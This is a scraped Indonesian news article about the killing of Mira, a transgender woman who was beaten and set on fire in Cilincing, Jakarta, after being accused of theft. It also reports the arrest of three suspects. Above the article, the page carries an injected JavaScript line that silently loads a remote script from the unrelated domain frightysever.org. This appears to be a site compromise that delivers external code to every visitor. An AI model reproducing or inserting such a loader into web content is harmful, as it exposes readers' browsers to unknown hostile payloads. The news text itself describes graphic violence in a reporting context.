(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Seorang transgender perempuan alias transpuan bernama Mira (43) mengalami luka bakar hingga 70 persen setelah dianiaya oleh sekelompok orang lantaran diduga mencuri dompet dan telepon genggam milik sopir truk kontainer di Cilincing, Jakarta Utara.
Dalam keadaan merintih kesakitan karena banyak luka bakar, waria itu sempat berjalan sekira 200 meter menuju kontrakan. Kapolres Metro Jakarta Utara Kombes Budhi Herdi Susianto mengatakan saat Mira dibakar para tersangka sempat berupaya memadamkan api. Selanjutnya, saat api berhasil dipadamkan para tersangka satu-persatu menghilangkan.
———————–
PERINGATAN!!: Berita ini berisi deskripsi tentang peristiwa kekerasan. Penjelasan di berita dimaksudkan sebagai kronologi peristiwa yang saat ini sudah ditangani polisi. Bukan untuk menginspirasi perilaku yang sama. Jika menjumpai aksi kejahatan, lapor ke polisi. Jangan main hakim sendiri!
———————–
“Setelah api padam korban (Mira) berjalan ke arah kontrakannya. Tetapi, baru berjalan kurang lebih 200 meter korban tidak kuat lagi dan akhirnya duduk di pelataran musholla. Kemudian peristiwa tersebut dilaporkan oleh warga ke Polsek Cilincing,” kata Budhi kepada wartawan, Rabu (8/4/2020), dilansir dari Suara.com, mitra media Kanalkalimantan.com.
Budhi mengungkapkan Mira mengalami luka bakar cukup parah. Luka bakar yang diderita Mira itu diperkirakan mencapai 60 hingga 70 persen. “Korban mengalami luka bakar sekitar 60 sampai 70 persen,” ungkapnya.
Sebelumnya, Mira tewas setelah dianiaya dan dibakar hidup-hidup di garasi truk trailer di kawasan Kalibaru, Cilincing, Jakarta Utara, pada Sabtu (4/4/2020). Aksi sadis itu terjadi lantaran Mira dituduh mencuri dompet dan telepon genggam milik salah seorang sopir truk kontainer berinisial KM.
Dalam kasus ini polisi telah berhasil membekuk tiga tersangka, yakni berinisial AP (27), RT (24), dan AH (26). Sedangkan, ketiga tersangka lainnya yang masih buron yakni berinisial PD, AB, dan IQ.
Kekinian, atas perbuatannya, para tersangka dijerat Pasal 170 KUHP Ayat 2. Mereka terancam hukuman penjara maksimal 5 tahun.(suara)
KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
This website uses cookies.